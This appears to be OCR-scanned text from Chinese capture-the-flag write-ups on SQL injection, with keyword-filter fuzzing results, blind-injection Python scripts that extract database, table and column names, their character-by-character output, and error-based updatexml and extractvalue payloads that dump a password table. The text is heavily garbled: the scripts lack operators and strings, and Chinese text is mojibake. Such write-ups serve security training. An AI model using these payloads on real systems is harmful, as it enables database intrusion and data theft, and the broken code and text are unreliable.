9 unian 200 [ [l 890

10 unlan 200 L L 890

11 union select 200 [ [l 890

12 unionf*select 200 L L 890

13 = 200 L [ 890

20 && 200 L ] 890

21 unionf**fselect 200 [ [l 890

1 20N 272




. e L LJ o
4 or 200 L [ 873

5 oR 200 L ] 873

6 oorr 200 [ [l 873

7 select 200 L L 873

8 sElect 200 L [ 873 ;
14 200 | [ aT73 i
Pythonfii 2« 3k &

6 24 W K e

import requests

import time

host
def database_name():
global host
name
for i in (1,1000):
low = 32
high = 128
mid (low+high)//2
while low < high:
url host
res requests.get(url)
if in res.text:
high mid
else:
low = mid+1
mid=(low+high)//2
if mid 32 mid
break
name (mid-1)
print(
database _name()

¥ FE 4 geek

2 TR BE E R 4


https://blog.csdn.net/weixin_42513429/article/details/105520763

import requests

import time

host
def table name():
global host
name
for i in (1,1000):
low 32
high = 128
mid (low+high)//2
while low < high:
url host

res requests.get(url)
if in res.text:
high mid
else:
low mid+1
mid=(low+high)//2
if mid 32 mid 127:
break
name (mid-1)

name)

BN, FinaTly Ml Flaaaaag ,flagMi%7E Flaaaaag REM

table_name:

table_name: F1

table_name: Filn
table_name: Flna
table_name: Flnal
table_name: FlnaIl
table_name: FlnaIly
table_name: FlnaIly,
table_name: FlnaIly,F
table_name: FlnaIly,Fl
table_pame: FlnaIly,Fla
table_name: FlnaIly,Flaa
table_name: FlnaIly,Flaaa
table_name: FlnaIly,Flaaaa
table_name: FlnaIly,Flaaaaa

LR LERRULIRS BA T U https://blog.csdn.net/gg_46150940

SFEMBRT T B4




import requests
import time

host

def column_name():

global host

name

for i in (1,1000):
low 32
high = 128
mid (low+high)//2
while low < high:

url host

res requests.get(url)

if in res.text:

high mid
else:

low mid+1
mid=(low+high)//2

if mid 32 mid 127:

break
name (mid-1)
print(
column_name()

BEHRHEAFE, id Al flagawsl

XHFF)  BhfE(A) WiE(E) EA(V)

t 3.py
column_name: i
column_name: id
column_name: id,

column_name :
column_name :
column_name :
column_name :
column_name :
column_name :
column_name :
column_name :

id, f

id, fl

id, fla

id, flag
id,fl4ga
id, fligaw
id,fligaws
id,fligawsl

#E(H)

kali@kali: ~ [ STE

hitps://blog.csdn.net/qg_46150940




import requests

global host

name

for i in (1,1000):
low 32
high = 128
mid (low+high)//2
while low < high:

url host

res requests.get(url)
if in res.text:
high mid
else:
low mid+1
mid=(low+high)//2
if mid 32 mid 127:
break
name (mid-1)

print( name)

getData()

5 3flag

kali@kali: ~ /5L
JCHEF)  EhE(A)  dWiE(E) BA(V)  #ENH)

://wewi .cl4y. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1e9-b72b-

getData: cl4y_is_really_amazing,welcome_to_my_bleg,http://ww.cléy.top,http: //wa.cléy.top,http: //www.cléy. top, http
://wewi .clay. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1le9-b72b-4

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //waw.clay.top,http://wm.cléy. top, http
://wewi .clay. top,welcom_to_Syclover,cliy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43

getData: clay_is_really_amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //waw.clay.top,http://wmw.cléy. top, http
://wewi .clby. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a

getData: cl4y is really amazing,welcome_to my blog,http://ww .cliy.top,http://waw.clay.top,http://ww.clsy.top,http
://wew .clay. top,welcom_to_Syclover,cléy really need a grilfriend,flag{3c54d1e9-b72b-43a9

getData: cl4y is really amazing,welcome_to_my blog,http://www.cléy.top,http: //wan.clay.top,http://wmw.cliy.top,http
://wew . clby. top,welcom_to_Syclover,cléy really need a grilfriend,flag{3c54dle9-b72b-43a9-

getData: cl4y is really amazing,welcome_to_my blog,http://ww.cliy.top,http: //wan.cliy.top,http://ww.cliy.top,http
://wew .clby. top,welcom_to_Syclover,cliy really need a grilfriend,flag{3c54dle9-b72b-43a3-9

getData: cl4y_is_really amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //wew.cléy.top,http://wmw.cléy. top,http
+//wew .CL4Y . top,welcom_to_Syclover,cliy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a9-92

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //www.clay.top,http://wm.cléy. top,http
://wewi .clby. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a9-928

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cléy.top,http://waw.cléy.top,http://ww.cléy.top, http
://wewi .clay. top,welcom_to_Syclover,cl4y_really_need_a_grilfriend,flag{3c54dle9-b72b-43a9-9284

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://wmw.cléy.top,http://wa.cléy.top,http://wm.cléy. top, http
://wemi .clay. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a9-9284-

getData: clay_is_really_amazing,welcome_to_my_blog,http://www.cléy.top,http: //waw.clay.top,http: //wm.cléy. top, http
://wewi .clay. top,welcom_to_Syclover,cléy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a9-9284-4

getData: clay_is_really_amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //wew.clay.top,http://wew.cléy. top, http
:// et .clty . top,welcom_to_Syclover,cléy really need a grilfriend,flag{3c54d1e9-b72b-43a9-9284-45

getData: cl4y_is_really amazing,welcome_to_my_blog,http://wwmw.cléy.top,http://waw.clay.top,http://www.cléy. top,http
://wew . clay. top,welcom_to_Syclover,cléy really need a grilfriend,flag{3c54dle9-b72b-43a9-9284-45f

getData: clidy_is_really amazing,welcome_to_my_blog,http://wwm.cléy.top,http: //www.cléy.top,http://www.cléy. top,http
://wew . clby. top,welcom_to_Syclover,cléy really need a grilfriend,flag{3c54dle9-b72b-43a9-9284-45fe

getData: clidy_is really amazing,welcome_to_my_blog,http://wwmw.cléy.top,http: //wew.cléy.top,http://wmw.cliy. top,http
://wew .clby. top,welcom_to_Syclover,cléy_really _need_a_grilfriend,flag{3c54dle9-b72b-43a9-9284-45fe3

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://www.cléy.top,http: //www.clay.top,http://wwm.cléy. top,http
+//wew .CL4y . top,welcom_to_Syclover,cliy_really_need_a_grilfriend,flag{3c54d1e9-b72b-43a9-9284-45fe34

getData: cl4y_is_really_amazing,welcome_to_my_blof, http://ww.cliy.top,http: //waw.cléy.top,http: //ww.cléy.top, http
://wew .cl4y. top,welcom_to_Syclover,cléy_really_needya_grilfriend,flag{3c54d1e9-b72b-43a9-9284-45fe349

getData: cl4y_is_really_amazing,welcome_to_my_blog,http://wmw.cléy.top,http: //wa.cléy.top,http://wm.cléy. top, http
://wewi .clay. top,welcom_to_Syclover,cléy_really_need_a\grilfriend,flag{3c54d1le9-b72b-43a9-9284-45fe349e

getData: cl4y_is_really_amazing,welcome_to_my_blog,http: //www.cliy.top,http: //www.cléy.top,http: //wmw.cléy.top,http
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ST = FH. union HFHREF, W ULRIAHIREEEN, FHextractvalueflupdatexmlid U AT EEEN
J—: updatexmBR A




username=admin&password=1

or(updatexml(1,concat(@x7e, (select(group_concat(table_name))from(information
schema.tables)where(table schema)like(database())),0x7e),1))%23
ZE R . ~H4rDsql
3. TR
Payload: ?username=admin&password=1
H4rDsql

or(updatexml(1,concat(@x7e, (select(group_concat(username, ,password) )]
rom(H4rDsql)),0x7e),1))%23
8 ~flag~flag{83446376-78aa-421a-86
Fright ()EAEE G
username=admin&password=1'or(updatexml (1, concat(@x7e, (select(group_concat((right(password,25))))from(H4
rDsql)),0x7e),1))%23
B :~a-421a-868c-5547b4941c61}

extractvalue(1,concat(@x7e, (select(group_concat(table_name))from(information
schema.tables)where((table_schema)like( )))))%23

H4rDsql

extractvalue(1,concat(0x7e, (select(password)from(H4rDsql))))%23
“E R ~flag{83446376-78aa-421a-868c-55
ZE: R
username=admin&password=1"'"extractvalue(1,concat(0x7e, (select(group concat((right(password,25))))from(H
ArDsql))) ) %23
#EH  ~a-421a-868c-5547b4941c61}

Prgflaght, EE T —FfAagH AR E, &JEHIflagh flag{83446376-78aa-421a-868c-5547b4941c61}
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